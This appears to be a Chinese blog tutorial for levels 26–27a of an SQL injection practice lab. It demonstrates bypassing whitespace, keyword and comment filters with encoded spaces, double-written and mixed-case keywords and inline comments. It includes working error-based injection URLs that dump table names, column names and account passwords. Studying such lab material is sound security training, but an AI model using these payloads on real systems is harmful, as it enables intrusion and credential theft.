【sql靶场】过滤绕过第26-27a关保姆级教程

发布于:2025-03-25 ⋅ 阅读:(44) ⋅ 点赞:(0)

目录

【sql靶场】过滤绕过第26-27a关保姆级教程

第二十六关

1.绕过空格过滤

2.过滤关键

3.爆出数据库

4.爆出表名

5.爆出字段名

6.爆出账号密码

7.查看后端代码

第二十六a关

第二十七关

1.绕过‌字段过滤

2.过滤关键

3.爆出数据库

4.爆出表名

5.爆出字段名

6.爆出账号密码

第二十七a关


【sql靶场】过滤绕过第26-27a关保姆级教程

第二十六关
1.绕过空格过滤

1‌.使用下面的URL编码‌替代:

%20(标准空格)‌、%09(Tab)‌、%0a(换行符)‌、%0d(回车符)‌、%a0(不可见空格)‌%0b、%0c(垂直Tab/换页符)‌

2.符号与语法替代‌

‌括号 ()‌:包裹字段或子查询,无需空格‌

反引号 `‌:MySQL中用于字段名包裹,可替代空格‌

加号 +‌:在特定数据库(如SQL Server)中替代空格‌

3.双空格与重复符号‌

双空格‌:部分过滤规则仅替换单空格,双空格可绕过‌

双斜杠 //‌:非标准方法,部分场景可解析为空格

4.注释符替代

MySQL内联注释

 /*!版本号\*/

标准注释符

 /**‌==/
union/==‌/select/‌==/1,2,3  

/**/ 直接替代空格,保持语句连贯性。

/**/ 被过滤时,可混合使用其他注释符。

/*!00000假注释*/ 表示版本号0.0.0(始终不执行),注释内容被忽略

组合使用‌:混合注释符与特殊字符(如 %0a、())提高绕过成功率。

2.过滤关键

本关过滤了注释符# -- 与字段and、or,还有字符空格

由于前几关对于注释符与字段讲的十分详细这里就不多讲了,这一关重点讲绕过空格过滤

测试闭合

2-闭合方式双引号

3-单引号闭合测试

3.爆出数据库

进行数据库爆出

?id=-1'  union select 1,database(),3 &&'1'='1

可以很清楚的看见报错里面的语句全部空格都被过滤了

方法一

使用下面的URL编码‌替代

%20(标准空格)‌、%09(Tab)‌、%0a(换行符)‌、%0d(回车符)‌、%0c(垂直Tab/换页符)‌、%a0(不可见空格)‌%0b、

?id=-1'%20union%20select%201,database(),3%20aandnd'1'='1

全部试一遍------报错一样

%a0(不可见空格)‌

?id=-1'%a0union%a0select%a01,database(),3%a0aandnd'1'='1

失败

%0b

?id=-1'%0bunion%0bselect%0b1,database(),3%0baandnd'1'='1

7-数据库测试4

成功---------但是发现并没有回显,但是在前面已经知道了有报错,那么就可以进行报错注入

再次尝试%0b

?id=1' union%0bupdatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1)aandnd'1'='1

报错----原因and与union区别

特性 AND UNION
依赖条件 仅需布尔表达式触发报错 需列数匹配且语法完整
绕过难度 低(可通过双写、报错函数直接触发) 高(需列数、字段类型、空格绕过)

?id=1' aandnd%0bupdatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1)aandnd'1'='1

成功

方法二

‌括号 ()‌:包裹字段或子查询,无需空格‌

?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1

成功

方法三

双空格与重复符号‌、注释符替代

?id=1' aandnd//updatexml(1,concat(0x7e,(select//database()),0x7e),1)aandnd'1'='1

失败------全部被过滤了

4.爆出表名
?id=1' aandnd%0bupdatexml(1,concat(0x7e,(select%0bgroup_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)aandnd'1'='1

5.爆出字段名
?id=1' aandnd%0bupdatexml(1,concat(0x7e,mid((select%0bgroup_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=%0b'security'%0baandnd%0btable_name='users'),1,30),0x7e),1)aandnd'1'='1

6.爆出账号密码
?id=1' aandnd%0bupdatexml(1,concat(0x7e,(select%0bmid((group_concat(username,0x3a,passwoorrd)),1,32)%0bfrom%0busers),0x7e),1)aandnd'1'='1

7.查看后端代码

找到过滤代码

function blacklist%0b$id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

过滤了or、and,注释符,与过滤所有标准的空白字符‌。

/i修饰符的作用是 ‌忽略大小写‌(Case-Insensitive),因此以下代码会移除 ‌所有形式的大小写组合

preg_replace('/[\s]/', "", $id) 的作用是‌过滤所有标准的空白字符‌。具体来说,正则表达式 \s 匹配以下字符:

被过滤的字符列表

字符 符号 ASCII码 说明
空格(Space) 32 最常见的空格字符
水平制表符(Tab) \t 9 键盘的 Tab 键产生的字符
换行符(Line Feed) \n 10 文本中的换行符
回车符(Carriage Return) \r 13 旧系统换行符(如Windows换行)
垂直制表符(Vertical Tab) \v 11 垂直对齐的空格符
换页符(Form Feed) \f 12 分页符(打印机控制)

‌ 关键特性

‌大小写无关‌:正则表达式 \s 是固定的,不区分大小写。

Unicode 空白符是否被过滤?‌

例如:%A0(非断空格 URL 编码)在未启用 /u 时不会被过滤,可能用于绕过空格限制

第二十六a关

闭合方式为’),剩下的基本与26关一样

第二十七关
1.绕过‌字段过滤

1.大小写混合

‌原理‌:绕过简单的大小写敏感过滤

适用场景‌:过滤规则未统一转为小写

2.双写关键词‌

‌原理‌:绕过单次关键词替换。

‌适用场景‌:仅替换一次关键词。

3.混合大小写+双写绕过复合过滤‌

‌适用场景‌:需同时绕过关键词删除和大小写敏感过滤‌。

4.内联注释执行代码

‌场景‌:绕过对特定关键词(如 UNION、SELECT)的过滤,强制数据库执行内联注释中的语句‌。 ‌案例‌:

id=1 /*!UNION*/ /*!SELECT*/ 1,2,3;  -- MySQL执行内联注释中的代码  
id=1 /*!50000UNION SELECT*/ 1,2,3; -- 指定版本号(仅MySQL 5.0.0+执行)  

‌原理‌:MySQL支持内联注释中的语法执行,其他数据库忽略‌。

5.注释符干扰过滤规则

‌场景‌:将敏感关键词拆分到注释符两侧,绕过正则匹配‌。 ‌案例‌:

SEL/*中间干扰*/ECT * FROM users;    -- 拆分SELECT为 SEL/*...*/ECT  
UNI/==‌**/ON SEL/**‌==/ECT 1,2,3;        -- 分散关键词躲避过滤 

‌原理‌:过滤规则未递归处理注释符时,注释符可隐藏关键词‌

2.过滤关键

本关过滤了注释符# -- 与字段select、union,还有字符空格

由于前几关对于注释符与字段讲的十分详细这里就不多讲了,这一关重点讲绕过字段过滤

测试闭合

16-闭合测试1

3.爆出数据库

这里很奇怪,可能是因为没有达到正则过滤范围没有触发过滤select

?id=1' and%0bupdatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1)and'1'='1

?id=1' and%0bupdatexml(1,concat(0x7e,(Select%0bdatabase()),0x7e),1)and'1'='1

4.爆出表名
?id=1' and%0bupdatexml(1,concat(0x7e,(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)and'1'='1

以为是空格问题----在报错位置的空格改为%0a

?id=1' and%0bupdatexml(1,concat(0x7e,(select%0agroup_concat(table_name)%0afrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)and'1'='1

所有报错都在form前面,猜测可能是select被过滤了,后面看见其实这几关都有打印输入的查询语句,也可以发现是select被过滤了

1.双写关键词‌

?id=1' and%0bupdatexml(1,concat(0x7e,(sselectelect%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)and'1'='1

失败

2.大小写混合

?id=1' and%0bupdatexml(1,concat(0x7e,(sELeCt%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)and'1'='1

成功

3.内联注释执行代码

?id=1' and%0bupdatexml(1,concat(0x7e,(/*!SELECT*/%0agroup_concat(table_name)%0afrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0blimit%0b0,1),0x7e),1)and'1'='1

失败-----/被过滤了

5.爆出字段名
?id=1' and%0bupdatexml(1,concat(0x7e,mid((sELeCt%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=%0b'security'%0band%0btable_name='users'),1,30),0x7e),1)and'1'='1

6.爆出账号密码
?id=1' and%0bupdatexml(1,concat(0x7e,(sELeCt%0bmid((group_concat(username,0x3a,password)),1,32)%0bfrom%0busers),0x7e),1)and'1'='1

第二十七a关

闭合方式为",剩下的基本与26关一样